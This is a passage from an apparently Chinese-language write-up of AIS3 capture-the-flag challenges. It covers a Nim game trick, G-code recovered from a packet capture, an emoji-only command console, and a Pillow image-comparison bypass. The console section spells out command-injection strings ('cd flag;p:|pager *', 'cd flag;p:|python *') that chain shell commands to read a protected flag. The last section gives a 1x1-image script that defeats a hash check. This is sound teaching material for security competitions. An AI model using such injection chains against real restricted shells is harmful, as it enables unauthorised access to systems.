而在原本一個必輸的棋局中，最後必定會遇到有兩個 pile 並個別都有石頭的情況，例如 pile 0 和 1 都各有一個石頭的情況，此時先手必輸，在這情況下如果利用前面發現的漏洞跳過玩家的回合，就會變成 AI 先手的情況，因此 AI 取了一個石頭之後玩家只要取得最後的石頭，就可以獲得勝利，拿到 flag

以下是實際的操作流程，最終玩家獲得勝利，取得 flag

AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Three Dimensional Secret

題目是一個封包檔案，用 protocol 分析一下發現有不少 TCP 明文資料

用 data 作為 filter 並 follow TCP stream 後，發現資料看起來像是 gcode

看起來應該是 picoctf 的老梗題，拿 ncviewer 做繪圖，並拉一下場景，即可發現路徑形狀含有 flag

AIS3{b4d1y_tun3d_PriN73r}

Emoji Console (賽後解出)

題目是一個可以 (也只能) 用 emoji 來執行指令的介面

而初步試了幾個 emoji，可以整理出以下幾個可能比較有用的 emoji 以及相對應的對照

"🤣": xd
"😉": ;)
"😜": ;p
"😝": xp
"😓": ;/
"🐱": cat
"🐍": python
"🅰️","🅱️","🅾️","ℹ️","🅿️","Ⓜ️","🆎","🆑","🆒","🆓","🆔","🆕","🆖","🆗","🆘","🆙","🆚": 同 emoji 文字
"💿": cd
"🖥️": pc
"📟": pager
"⌚": watch
"🚩": flag
"⓿","❶","❷","❸","❹","❺","❻","❼","❽","❾","❿": 0 ~ 10
"➕": +
"➖": -
"⭐": *

另外還有賽後才發現的 "😐": :|

首先，可以先使用 📟 ⭐ (pager *，pager 就是 less) 來 leak 出當前目錄下的資料夾以及檔案內容，如下

可以看到 leak 出了原始碼以及完整的 emoji 對照表

除此之外還發現當前目錄下有 flag/ 和 templates/ 資料夾

可以猜測到 flag 應該是在 flag/ 資料夾下，因此必須想辦法進入，而不過有一個問題，在可用的 emoji 中沒有單獨的 / 或是為開頭的，因此勢必要想別的方法

而我們可以再觀察 emoji list，可以發現有 💿 🚩 (cd flag) 可以組合，而後面我們只要有辦法再利用 && 或是 ; 等方式接續指令，預期就能把 cwd 切換到 flag/ 資料夾下

而要怎麼變出 && 或是 ; 就是關鍵了，前者的部分可以發現 emoji 中沒有相關的因此不可行，而 ; 的部分可以發現有 😜 (;p) 和 😓 (;/) 這兩個，不過後面的 p 和 / 沒辦法串接出有用的指令

不過實際上，我們可以把 😜 / 😓 再串接 😐 (:|) 的 emoji，就會變成 ;p:| / ;/:| 的形式，由於 ; 和 | 中間的指令部分必定執行失敗，因此就 sh 的 | 運算子而言就會再執行後面的指令，因此我們就有辦法成功串接兩條指令

因此，接下來我們可以執行 💿 🚩😜😐📟 ⭐ (cd flag;p:|pager *) 來查看 flag/ 資料夾下的內容，如下

可以看到有一個 python 檔案，會讀取 /flag 的內容並印出，因此我們只要執行這個 python 檔案應該就可以拿到 flag

因此接下來執行 💿 🚩😜😐🐍 ⭐ (cd flag;p:|python *) 來執行該 python 程式碼，結果如下

AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Hash Guesser (賽後解出)

題目是一個可以上傳圖片並比較的服務，介面如下所示

以下是原始碼的關鍵部分

def generate_image():
    h = hashlib.sha256(secrets.token_bytes(16)).hexdigest()

    image = Image.new("L", (16, 16), 0)
    pixels = [255 if c == '1' else 0 for c in bin(int(h, 16))[2:].zfill(256)]
    image.putdata(pixels)

    return image

@app.route('/guess', methods=["POST"])
def guess():
    if turnstile.is_enabled and not turnstile.verify():
        return jsonify({"error": "Invalid captcha"}), 400

    # compare uploaded image with the secret image
    if 'file' not in request.files:
        return jsonify({"error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"error": "No selected file"}), 400    

    try:
        uploaded_image = Image.open(file.stream)
        target_image = generate_image()

        if util.is_same_image(uploaded_image, target_image):
            return jsonify({"flag": FLAG})
        else:
            return jsonify({"error": "Wrong guess"}), 400
    except Exception as e:
        return jsonify({"error": f"{e.__class__.__name__}: {str(e)}"}), 500

可以看到目標圖像是使用 generate_image 函式所生成，每次上傳都會生成隨機的黑白塊圖片，基本上是猜不出來的

而另外在比較的部分可以看到是使用 util.is_same_image 函式來檢查，原始碼如下

def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
    return ImageChops.difference(img1, img2).getbbox() == None

使用的是 PIL 的 ImageChops 來做比較

而實際檢查他的原始碼，可以發現要比較前會創建的圖片大小是取二者圖片的最小值

因此假如我們創建一個 1x1 的全黑 (或全白) 圖片，這麼一來在做比較的時候就會拿隨機圖片的左上角 1x1 區塊與我們的全黑 (或全白) 圖片做比較，猜對的機率就能大幅提升成 1/2

以下是生成 1x1 圖片的腳本

from PIL import Image
image = Image.new("L", (1, 1), 0)
image.save("test.png")

以下是上傳後比對成功取得 flag 的結果

AIS3{https://github.com/python-pillow/Pillow/issues/2982}